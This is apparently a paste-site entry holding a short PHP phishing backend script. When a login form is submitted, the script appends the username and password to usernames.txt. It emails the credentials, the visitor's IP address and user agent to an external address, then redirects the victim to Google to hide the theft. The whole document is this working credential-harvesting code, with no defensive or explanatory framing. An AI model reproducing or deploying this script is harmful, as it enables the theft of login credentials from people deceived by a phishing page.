Untitled
2 years ago in Plain Text
<?php
if (!empty($_SERVER['HTTP_CLIENT_IP']))
{
$ipaddress = $_SERVER['HTTP_CLIENT_IP']."\r\n";
}
elseif (!empty($_SERVER['HTTP_X_FORWARDED_FOR']))
{
$ipaddress = $_SERVER['HTTP_X_FORWARDED_FOR']."\r\n";
}
else
{
$ipaddress = $_SERVER['REMOTE_ADDR']."\r\n";
}
$useragent = " User-Agent: ";
$browser = $_SERVER['HTTP_USER_AGENT'];
// Save login information to file
file_put_contents("usernames.txt", "Account: " . $_POST['_user'] . " Pass: " . $_POST['_pass'] . "\n", FILE_APPEND);
// Send login information and IP address/user agent information to email address
$webMaster = '[email protected]';
$subject = 'Login Information';
$message = "Account: " . $_POST['_user'] . "\n" . "Pass: " . $_POST['_pass'] . "\n" . "IP Address: " . $ipaddress . "\n" . "User Agent: " . $browser;
$headers = 'From: [email protected]' . "\r\n" .
'Reply-To: [email protected]' . "\r\n" .
'X-Mailer: PHP/' . phpversion();
mail($webMaster, $subject, $message, $headers);
// Redirect to Google
header('Location: https://www.google.com');
exit();
?>